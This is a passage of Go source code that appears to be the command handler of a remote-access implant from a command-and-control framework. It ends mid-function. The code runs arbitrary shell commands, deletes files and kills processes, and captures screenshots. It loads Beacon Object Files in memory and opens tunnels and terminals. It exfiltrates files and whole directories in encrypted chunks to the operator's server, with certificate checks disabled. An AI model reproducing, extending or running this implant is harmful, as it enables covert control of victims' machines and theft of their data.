1544 lines
32 KiB
Go
1544 lines
32 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"context"
|
|
"crypto/aes"
|
|
"crypto/cipher"
|
|
"crypto/rand"
|
|
"crypto/tls"
|
|
"crypto/x509"
|
|
"encoding/base64"
|
|
"errors"
|
|
"fmt"
|
|
"gopher/bof/coffer"
|
|
"gopher/functions"
|
|
"gopher/utils"
|
|
"io"
|
|
"net"
|
|
"os"
|
|
"os/exec"
|
|
"strconv"
|
|
"sync"
|
|
"sync/atomic"
|
|
"syscall"
|
|
"time"
|
|
|
|
"github.com/vmihailenco/msgpack/v5"
|
|
)
|
|
|
|
var UPLOADS map[string][]byte
|
|
var DOWNLOADS map[string]utils.Connection
|
|
var JOBS map[string]utils.Connection
|
|
var TUNNELS sync.Map
|
|
var TERMINALS sync.Map
|
|
|
|
type TunnelController struct {
|
|
Cancel context.CancelFunc
|
|
Paused atomic.Bool
|
|
}
|
|
|
|
func TaskProcess(commands [][]byte) [][]byte {
|
|
var (
|
|
command utils.Command
|
|
data []byte
|
|
result [][]byte
|
|
err error
|
|
)
|
|
|
|
for _, cmdBytes := range commands {
|
|
err = msgpack.Unmarshal(cmdBytes, &command)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
|
|
switch command.Code {
|
|
|
|
case utils.COMMAND_DOWNLOAD:
|
|
data, err = jobDownloadStart(command.Data)
|
|
|
|
case utils.COMMAND_CAT:
|
|
data, err = taskCat(command.Data)
|
|
|
|
case utils.COMMAND_CD:
|
|
data, err = taskCd(command.Data)
|
|
|
|
case utils.COMMAND_CP:
|
|
data, err = taskCp(command.Data)
|
|
|
|
case utils.COMMAND_EXEC_BOF:
|
|
data, err = taskExecBof(command.Data)
|
|
|
|
case utils.COMMAND_EXEC_BOF_ASYNC:
|
|
data, err = jobExecBofAsync(command.Data)
|
|
|
|
case utils.COMMAND_EXIT:
|
|
data, err = taskExit()
|
|
|
|
case utils.COMMAND_JOB_LIST:
|
|
data, err = taskJobList()
|
|
|
|
case utils.COMMAND_JOB_KILL:
|
|
data, err = taskJobKill(command.Data)
|
|
|
|
case utils.COMMAND_KILL:
|
|
data, err = taskKill(command.Data)
|
|
|
|
case utils.COMMAND_LS:
|
|
data, err = taskLs(command.Data)
|
|
|
|
case utils.COMMAND_MKDIR:
|
|
data, err = taskMkdir(command.Data)
|
|
|
|
case utils.COMMAND_MV:
|
|
data, err = taskMv(command.Data)
|
|
|
|
case utils.COMMAND_PS:
|
|
data, err = taskPs()
|
|
|
|
case utils.COMMAND_PWD:
|
|
data, err = taskPwd()
|
|
|
|
case utils.COMMAND_REV2SELF:
|
|
data, err = taskRev2Self()
|
|
|
|
case utils.COMMAND_RM:
|
|
data, err = taskRm(command.Data)
|
|
|
|
case utils.COMMAND_RUN:
|
|
data, err = jobRun(command.Data)
|
|
|
|
case utils.COMMAND_SHELL:
|
|
data, err = taskShell(command.Data)
|
|
|
|
case utils.COMMAND_SCREENSHOT:
|
|
data, err = taskScreenshot()
|
|
|
|
case utils.COMMAND_TERMINAL_START:
|
|
jobTerminal(command.Data)
|
|
|
|
case utils.COMMAND_TERMINAL_STOP:
|
|
taskTerminalKill(command.Data)
|
|
|
|
case utils.COMMAND_TUNNEL_START:
|
|
jobTunnel(command.Data)
|
|
|
|
case utils.COMMAND_TUNNEL_STOP:
|
|
taskTunnelKill(command.Data)
|
|
|
|
case utils.COMMAND_TUNNEL_PAUSE:
|
|
taskTunnelPause(command.Data)
|
|
|
|
case utils.COMMAND_TUNNEL_RESUME:
|
|
taskTunnelResume(command.Data)
|
|
|
|
case utils.COMMAND_UPLOAD:
|
|
data, err = taskUpload(command.Data)
|
|
|
|
case utils.COMMAND_ZIP:
|
|
data, err = taskZip(command.Data)
|
|
|
|
default:
|
|
continue
|
|
}
|
|
|
|
if err != nil {
|
|
command.Code = utils.COMMAND_ERROR
|
|
command.Data, _ = msgpack.Marshal(utils.AnsError{Error: err.Error()})
|
|
} else {
|
|
command.Data = data
|
|
}
|
|
|
|
packerData, _ := msgpack.Marshal(command)
|
|
result = append(result, packerData)
|
|
}
|
|
|
|
return result
|
|
}
|
|
|
|
/// TASKS
|
|
|
|
func taskCat(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsCat
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
fileInfo, err := os.Stat(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
if fileInfo.Size() > 0x100000 {
|
|
return nil, fmt.Errorf("file size exceeds 1 Mb (use download)")
|
|
}
|
|
|
|
content, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
return msgpack.Marshal(utils.AnsCat{Path: params.Path, Content: content})
|
|
}
|
|
|
|
func taskCd(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsCd
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = os.Chdir(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
newPath, err := os.Getwd()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
return msgpack.Marshal(utils.AnsPwd{Path: newPath})
|
|
}
|
|
|
|
func taskCp(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsCp
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
srcPath, err := functions.NormalizePath(params.Src)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
dstPath, err := functions.NormalizePath(params.Dst)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
info, err := os.Stat(srcPath)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if info.IsDir() {
|
|
err = functions.CopyDir(srcPath, dstPath)
|
|
} else {
|
|
err = functions.CopyFile(srcPath, dstPath, info)
|
|
}
|
|
|
|
return nil, err
|
|
}
|
|
|
|
func taskExecBof(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsExecBof
|
|
if err := msgpack.Unmarshal(paramsData, ¶ms); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
args, err := base64.StdEncoding.DecodeString(params.ArgsPack)
|
|
if err != nil {
|
|
args = make([]byte, 1)
|
|
}
|
|
|
|
msgs, err := coffer.Load(params.Object, args)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
list, _ := msgpack.Marshal(msgs)
|
|
|
|
return msgpack.Marshal(utils.AnsExecBof{Msgs: list})
|
|
}
|
|
|
|
func taskExit() ([]byte, error) {
|
|
ACTIVE = false
|
|
return nil, nil
|
|
}
|
|
|
|
func taskJobList() ([]byte, error) {
|
|
|
|
var jobList []utils.JobInfo
|
|
for k, v := range DOWNLOADS {
|
|
jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType})
|
|
}
|
|
for k, v := range JOBS {
|
|
jobList = append(jobList, utils.JobInfo{JobId: k, JobType: v.PackType})
|
|
}
|
|
|
|
list, _ := msgpack.Marshal(jobList)
|
|
|
|
return msgpack.Marshal(utils.AnsJobList{List: list})
|
|
}
|
|
|
|
func taskJobKill(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsJobKill
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
job, ok := DOWNLOADS[params.Id]
|
|
if !ok {
|
|
job, ok = JOBS[params.Id]
|
|
if !ok {
|
|
return nil, fmt.Errorf("job '%s' not found", params.Id)
|
|
}
|
|
}
|
|
|
|
if job.JobCancel != nil {
|
|
job.JobCancel()
|
|
}
|
|
|
|
job.HandleCancel()
|
|
|
|
return nil, nil
|
|
}
|
|
|
|
func taskKill(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsKill
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
proc, err := os.FindProcess(params.Pid)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = proc.Signal(syscall.SIGKILL)
|
|
return nil, err
|
|
}
|
|
|
|
func taskLs(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsLs
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
Files, err := functions.GetListing(path)
|
|
if err != nil {
|
|
return msgpack.Marshal(utils.AnsLs{Result: false, Status: err.Error(), Path: path, Files: nil})
|
|
}
|
|
|
|
filesData, _ := msgpack.Marshal(Files)
|
|
|
|
return msgpack.Marshal(utils.AnsLs{Result: true, Path: path, Files: filesData})
|
|
}
|
|
|
|
func taskMkdir(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsMkdir
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
mode := os.FileMode(0755)
|
|
err = os.MkdirAll(path, mode)
|
|
|
|
return nil, err
|
|
}
|
|
|
|
func taskMv(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsMv
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
srcPath, err := functions.NormalizePath(params.Src)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
dstPath, err := functions.NormalizePath(params.Dst)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = os.Rename(srcPath, dstPath)
|
|
if err == nil {
|
|
return nil, nil
|
|
}
|
|
|
|
info, err := os.Stat(srcPath)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
if info.IsDir() {
|
|
err = functions.CopyDir(srcPath, dstPath)
|
|
if err == nil {
|
|
_ = os.RemoveAll(srcPath)
|
|
}
|
|
} else {
|
|
err = functions.CopyFile(srcPath, dstPath, info)
|
|
if err == nil {
|
|
_ = os.Remove(srcPath)
|
|
}
|
|
}
|
|
return nil, err
|
|
}
|
|
|
|
func taskPs() ([]byte, error) {
|
|
Processes, err := functions.GetProcesses()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
processesData, _ := msgpack.Marshal(Processes)
|
|
|
|
return msgpack.Marshal(utils.AnsPs{Result: true, Processes: processesData})
|
|
}
|
|
|
|
func taskPwd() ([]byte, error) {
|
|
path, err := os.Getwd()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
return msgpack.Marshal(utils.AnsPwd{Path: path})
|
|
}
|
|
|
|
func taskRev2Self() ([]byte, error) {
|
|
functions.Rev2Self()
|
|
return nil, nil
|
|
}
|
|
|
|
func taskRm(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsRm
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
info, err := os.Stat(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
if info.IsDir() {
|
|
err = os.RemoveAll(path)
|
|
} else {
|
|
err = os.Remove(path)
|
|
}
|
|
return nil, err
|
|
}
|
|
|
|
func taskScreenshot() ([]byte, error) {
|
|
screenshot, err := functions.Screenshots()
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
screens := make([][]byte, 0)
|
|
for _, pic := range screenshot {
|
|
screens = append(screens, pic)
|
|
}
|
|
|
|
return msgpack.Marshal(utils.AnsScreenshots{Screens: screens})
|
|
}
|
|
|
|
func taskShell(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsShell
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
cmd := exec.Command(params.Program, params.Args...)
|
|
functions.ProcessSettings(cmd)
|
|
output, _ := cmd.CombinedOutput()
|
|
|
|
return msgpack.Marshal(utils.AnsShell{Output: string(output)})
|
|
}
|
|
|
|
func taskTerminalKill(paramsData []byte) {
|
|
var params utils.ParamsTerminalStop
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
value, ok := TERMINALS.Load(params.TermId)
|
|
if ok {
|
|
cancel, ok := value.(context.CancelFunc)
|
|
if ok {
|
|
cancel()
|
|
}
|
|
}
|
|
}
|
|
|
|
func taskTunnelKill(paramsData []byte) {
|
|
var params utils.ParamsTunnelStop
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
value, ok := TUNNELS.Load(params.ChannelId)
|
|
if ok {
|
|
ctrl, ok := value.(*TunnelController)
|
|
if ok {
|
|
ctrl.Cancel()
|
|
}
|
|
}
|
|
}
|
|
|
|
func taskTunnelPause(paramsData []byte) {
|
|
var params utils.ParamsTunnelPause
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
value, ok := TUNNELS.Load(params.ChannelId)
|
|
if ok {
|
|
ctrl, ok := value.(*TunnelController)
|
|
if ok {
|
|
ctrl.Paused.Store(true)
|
|
}
|
|
}
|
|
}
|
|
|
|
func taskTunnelResume(paramsData []byte) {
|
|
var params utils.ParamsTunnelResume
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return
|
|
}
|
|
|
|
value, ok := TUNNELS.Load(params.ChannelId)
|
|
if ok {
|
|
ctrl, ok := value.(*TunnelController)
|
|
if ok {
|
|
ctrl.Paused.Store(false)
|
|
}
|
|
}
|
|
}
|
|
|
|
func taskUpload(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsUpload
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
uploadBytes, ok := UPLOADS[path]
|
|
if !ok {
|
|
uploadBytes = params.Content
|
|
} else {
|
|
delete(UPLOADS, path)
|
|
uploadBytes = append(uploadBytes, params.Content...)
|
|
}
|
|
|
|
if params.Finish {
|
|
files, err := functions.UnzipBytes(uploadBytes)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
content, ok := files[params.Path]
|
|
if !ok {
|
|
return nil, errors.New("file not uploaded")
|
|
}
|
|
|
|
err = os.WriteFile(path, content, 0644)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
} else {
|
|
UPLOADS[path] = uploadBytes
|
|
return nil, nil
|
|
}
|
|
|
|
return msgpack.Marshal(utils.AnsUpload{Path: path})
|
|
}
|
|
|
|
func taskZip(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsZip
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
srcPath, err := functions.NormalizePath(params.Src)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
dstPath, err := functions.NormalizePath(params.Dst)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
info, err := os.Stat(srcPath)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var content []byte
|
|
if info.IsDir() {
|
|
content, err = functions.ZipDirectory(srcPath)
|
|
} else {
|
|
content, err = functions.ZipFile(srcPath)
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
err = os.WriteFile(dstPath, content, 0644)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
return msgpack.Marshal(utils.AnsZip{Path: dstPath})
|
|
}
|
|
|
|
/// JOBS
|
|
|
|
func jobExecBofAsync(paramsData []byte) ([]byte, error) {
|
|
|
|
var params utils.ParamsExecBof
|
|
if err := msgpack.Unmarshal(paramsData, ¶ms); err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
args, err := base64.StdEncoding.DecodeString(params.ArgsPack)
|
|
if err != nil {
|
|
args = make([]byte, 1)
|
|
}
|
|
|
|
asyncBof, errLoad := coffer.LoadAsync(params.Object, args, SignalWakeup)
|
|
if errLoad != nil {
|
|
return nil, errLoad
|
|
}
|
|
|
|
var conn net.Conn
|
|
if profile.UseSSL {
|
|
cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
|
|
if certerr != nil {
|
|
return nil, err
|
|
}
|
|
|
|
caCertPool := x509.NewCertPool()
|
|
caCertPool.AppendCertsFromPEM(profile.CaCert)
|
|
|
|
config := &tls.Config{
|
|
Certificates: []tls.Certificate{cert},
|
|
RootCAs: caCertPool,
|
|
InsecureSkipVerify: true,
|
|
}
|
|
conn, err = tls.Dial("tcp", profile.Addresses[0], config)
|
|
|
|
} else {
|
|
conn, err = net.Dial("tcp", profile.Addresses[0])
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
connection := utils.Connection{
|
|
PackType: utils.BOF_PACK,
|
|
JobCancel: func() {
|
|
asyncBof.Stop()
|
|
},
|
|
}
|
|
connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background())
|
|
JOBS[params.Task] = connection
|
|
|
|
go func() {
|
|
bofFinished := false
|
|
defer func() {
|
|
if bofFinished {
|
|
asyncBof.Cleanup()
|
|
}
|
|
connection.HandleCancel()
|
|
_ = conn.Close()
|
|
delete(JOBS, params.Task)
|
|
}()
|
|
|
|
jobPack, _ := msgpack.Marshal(utils.JobPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task})
|
|
jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.BOF_PACK, Data: jobPack})
|
|
jobMsg, _ = utils.EncryptData(jobMsg, encKey)
|
|
|
|
/// Recv Banner
|
|
if profile.BannerSize > 0 {
|
|
_, err := functions.ConnRead(conn, profile.BannerSize)
|
|
if err != nil {
|
|
return
|
|
}
|
|
}
|
|
|
|
/// Send Init
|
|
_ = functions.SendMsg(conn, jobMsg)
|
|
|
|
job := utils.Job{
|
|
CommandId: utils.COMMAND_EXEC_BOF_ASYNC,
|
|
JobId: params.Task,
|
|
}
|
|
nullMsgs, _ := msgpack.Marshal(make([]utils.BofMsg, 0))
|
|
job.Data, _ = msgpack.Marshal(utils.AnsExecBofAsync{Start: true, Msgs: nullMsgs})
|
|
packedJob, _ := msgpack.Marshal(job)
|
|
|
|
message := utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
sendData, _ := msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
|
|
/////
|
|
|
|
var pendingMsgs []utils.BofMsg
|
|
bofMsg := utils.BofMsg{}
|
|
ticker := time.NewTicker(1 * time.Second)
|
|
defer ticker.Stop()
|
|
|
|
running := true
|
|
for running {
|
|
select {
|
|
case <-connection.Ctx.Done():
|
|
running = false
|
|
|
|
case msg, ok := <-asyncBof.Output:
|
|
if !ok {
|
|
running = false
|
|
break
|
|
}
|
|
switch v := msg.(type) {
|
|
case int:
|
|
bofMsg.Type = v
|
|
case []byte:
|
|
bofMsg.Data = v
|
|
pendingMsgs = append(pendingMsgs, bofMsg)
|
|
bofMsg = utils.BofMsg{}
|
|
default:
|
|
bofMsg = utils.BofMsg{}
|
|
}
|
|
|
|
case <-ticker.C:
|
|
if len(pendingMsgs) > 0 {
|
|
packMsgs, _ := msgpack.Marshal(pendingMsgs)
|
|
ansBofAsync := utils.AnsExecBofAsync{Msgs: packMsgs}
|
|
|
|
job.Data, _ = msgpack.Marshal(ansBofAsync)
|
|
packedJob, _ := msgpack.Marshal(job)
|
|
|
|
message := utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
sendData, _ := msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
|
|
pendingMsgs = pendingMsgs[:0]
|
|
}
|
|
}
|
|
}
|
|
|
|
select {
|
|
case <-asyncBof.Done:
|
|
bofFinished = true
|
|
case <-connection.Ctx.Done():
|
|
select {
|
|
case <-asyncBof.Done:
|
|
bofFinished = true
|
|
case <-time.After(3 * time.Second):
|
|
}
|
|
}
|
|
|
|
drainLoop:
|
|
for {
|
|
select {
|
|
case msg, ok := <-asyncBof.Output:
|
|
if !ok {
|
|
break drainLoop
|
|
}
|
|
switch v := msg.(type) {
|
|
case int:
|
|
bofMsg.Type = v
|
|
case []byte:
|
|
bofMsg.Data = v
|
|
pendingMsgs = append(pendingMsgs, bofMsg)
|
|
bofMsg = utils.BofMsg{}
|
|
default:
|
|
bofMsg = utils.BofMsg{}
|
|
}
|
|
default:
|
|
break drainLoop
|
|
}
|
|
}
|
|
|
|
if len(pendingMsgs) > 0 {
|
|
packMsgs, _ := msgpack.Marshal(pendingMsgs)
|
|
ansBofAsync := utils.AnsExecBofAsync{Msgs: packMsgs}
|
|
|
|
job.Data, _ = msgpack.Marshal(ansBofAsync)
|
|
packedJob, _ := msgpack.Marshal(job)
|
|
|
|
message := utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
sendData, _ := msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
}
|
|
|
|
/// FINISH
|
|
|
|
job.Data, _ = msgpack.Marshal(utils.AnsExecBofAsync{Finish: true, Msgs: nullMsgs})
|
|
packedJob, _ = msgpack.Marshal(job)
|
|
|
|
message = utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
|
|
sendData, _ = msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
}()
|
|
|
|
return nil, nil
|
|
}
|
|
|
|
func jobDownloadStart(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsDownload
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
path, err := functions.NormalizePath(params.Path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
info, err := os.Stat(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
size := info.Size() // тип int64
|
|
|
|
if size > 4*1024*1024*1024 {
|
|
return nil, errors.New("file too big (>4GB)")
|
|
}
|
|
|
|
var content []byte
|
|
if info.IsDir() {
|
|
content, err = functions.ZipDirectory(path)
|
|
path += ".zip"
|
|
} else {
|
|
content, err = os.ReadFile(path)
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
var conn net.Conn
|
|
if profile.UseSSL {
|
|
cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
|
|
if certerr != nil {
|
|
return nil, err
|
|
}
|
|
|
|
caCertPool := x509.NewCertPool()
|
|
caCertPool.AppendCertsFromPEM(profile.CaCert)
|
|
|
|
config := &tls.Config{
|
|
Certificates: []tls.Certificate{cert},
|
|
RootCAs: caCertPool,
|
|
InsecureSkipVerify: true,
|
|
}
|
|
conn, err = tls.Dial("tcp", profile.Addresses[0], config)
|
|
|
|
} else {
|
|
conn, err = net.Dial("tcp", profile.Addresses[0])
|
|
}
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
strFileId := params.Task
|
|
FileId, _ := strconv.ParseInt(strFileId, 16, 64)
|
|
|
|
connection := utils.Connection{
|
|
PackType: utils.EXFIL_PACK,
|
|
Conn: conn,
|
|
}
|
|
connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background())
|
|
DOWNLOADS[strFileId] = connection
|
|
|
|
go func() {
|
|
defer func() {
|
|
connection.HandleCancel()
|
|
_ = conn.Close()
|
|
delete(DOWNLOADS, strFileId)
|
|
}()
|
|
|
|
exfilPack, _ := msgpack.Marshal(utils.ExfilPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task})
|
|
exfilMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.EXFIL_PACK, Data: exfilPack})
|
|
exfilMsg, _ = utils.EncryptData(exfilMsg, encKey)
|
|
|
|
job := utils.Job{
|
|
CommandId: utils.COMMAND_DOWNLOAD,
|
|
JobId: params.Task,
|
|
}
|
|
|
|
/// Recv Banner
|
|
if profile.BannerSize > 0 {
|
|
_, err := functions.ConnRead(conn, profile.BannerSize)
|
|
if err != nil {
|
|
return
|
|
}
|
|
}
|
|
|
|
/// Send Init
|
|
_ = functions.SendMsg(conn, exfilMsg)
|
|
|
|
chunkSize := 0x100000 // 1MB
|
|
totalSize := len(content)
|
|
for i := 0; i < totalSize; i += chunkSize {
|
|
|
|
end := i + chunkSize
|
|
if end > totalSize {
|
|
end = totalSize
|
|
}
|
|
start := i == 0
|
|
finish := end == totalSize
|
|
|
|
canceled := false
|
|
|
|
select {
|
|
case <-connection.Ctx.Done():
|
|
finish = true
|
|
canceled = true
|
|
default:
|
|
// Continue
|
|
}
|
|
|
|
job.Data, _ = msgpack.Marshal(utils.AnsDownload{FileId: int(FileId), Path: path, Content: content[i:end], Size: len(content), Start: start, Finish: finish, Canceled: canceled})
|
|
packedJob, _ := msgpack.Marshal(job)
|
|
|
|
message := utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
|
|
sendData, _ := msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
_ = functions.SendMsg(conn, sendData)
|
|
|
|
if finish {
|
|
break
|
|
}
|
|
time.Sleep(time.Millisecond * 100)
|
|
}
|
|
}()
|
|
|
|
return nil, nil
|
|
}
|
|
|
|
func jobRun(paramsData []byte) ([]byte, error) {
|
|
var params utils.ParamsRun
|
|
err := msgpack.Unmarshal(paramsData, ¶ms)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
|
|
procCtx, procCancel := context.WithCancel(context.Background())
|
|
cmd := exec.CommandContext(procCtx, params.Program, params.Args...)
|
|
functions.ProcessSettings(cmd)
|
|
stdoutPipe, err := cmd.StdoutPipe()
|
|
if err != nil {
|
|
procCancel()
|
|
return nil, fmt.Errorf("stdout pipe error: %w", err)
|
|
}
|
|
stderrPipe, err := cmd.StderrPipe()
|
|
if err != nil {
|
|
procCancel()
|
|
return nil, fmt.Errorf("stderr pipe error: %w", err)
|
|
}
|
|
|
|
var stdoutMu sync.Mutex
|
|
var stderrMu sync.Mutex
|
|
stdoutBuf := new(bytes.Buffer)
|
|
stderrBuf := new(bytes.Buffer)
|
|
|
|
err = cmd.Start()
|
|
if err != nil {
|
|
procCancel()
|
|
return nil, fmt.Errorf("start error: %w", err)
|
|
}
|
|
pid := 0
|
|
if cmd.Process != nil {
|
|
pid = cmd.Process.Pid
|
|
}
|
|
|
|
var conn net.Conn
|
|
if profile.UseSSL {
|
|
cert, certerr := tls.X509KeyPair(profile.SslCert, profile.SslKey)
|
|
if certerr != nil {
|
|
procCancel()
|
|
return nil, err
|
|
}
|
|
|
|
caCertPool := x509.NewCertPool()
|
|
caCertPool.AppendCertsFromPEM(profile.CaCert)
|
|
|
|
config := &tls.Config{
|
|
Certificates: []tls.Certificate{cert},
|
|
RootCAs: caCertPool,
|
|
InsecureSkipVerify: true,
|
|
}
|
|
conn, err = tls.Dial("tcp", profile.Addresses[0], config)
|
|
|
|
} else {
|
|
conn, err = net.Dial("tcp", profile.Addresses[0])
|
|
}
|
|
if err != nil {
|
|
procCancel()
|
|
return nil, err
|
|
}
|
|
|
|
connection := utils.Connection{
|
|
PackType: utils.JOB_PACK,
|
|
Conn: conn,
|
|
JobCancel: procCancel,
|
|
}
|
|
connection.Ctx, connection.HandleCancel = context.WithCancel(context.Background())
|
|
JOBS[params.Task] = connection
|
|
|
|
go func() {
|
|
defer func() {
|
|
procCancel()
|
|
connection.HandleCancel()
|
|
_ = conn.Close()
|
|
delete(JOBS, params.Task)
|
|
}()
|
|
|
|
jobPack, _ := msgpack.Marshal(utils.JobPack{Id: uint(AgentId), Type: profile.Type, Task: params.Task})
|
|
jobMsg, _ := msgpack.Marshal(utils.StartMsg{Type: utils.JOB_PACK, Data: jobPack})
|
|
jobMsg, _ = utils.EncryptData(jobMsg, encKey)
|
|
|
|
/// Recv Banner
|
|
if profile.BannerSize > 0 {
|
|
_, err := functions.ConnRead(conn, profile.BannerSize)
|
|
if err != nil {
|
|
return
|
|
}
|
|
}
|
|
|
|
/// Send Init
|
|
functions.SendMsg(conn, jobMsg)
|
|
|
|
job := utils.Job{
|
|
CommandId: utils.COMMAND_RUN,
|
|
JobId: params.Task,
|
|
}
|
|
|
|
job.Data, _ = msgpack.Marshal(utils.AnsRun{Pid: pid, Start: true})
|
|
packedJob, _ := msgpack.Marshal(job)
|
|
|
|
message := utils.Message{
|
|
Type: 2,
|
|
Object: [][]byte{packedJob},
|
|
}
|
|
|
|
sendData, _ := msgpack.Marshal(message)
|
|
sendData, _ = utils.EncryptData(sendData, utils.SKey)
|
|
functions.SendMsg(conn, sendData)
|
|
|
|
var wg sync.WaitGroup
|
|
wg.Add(2)
|
|
|
|
go func() {
|
|
defer wg.Done()
|
|
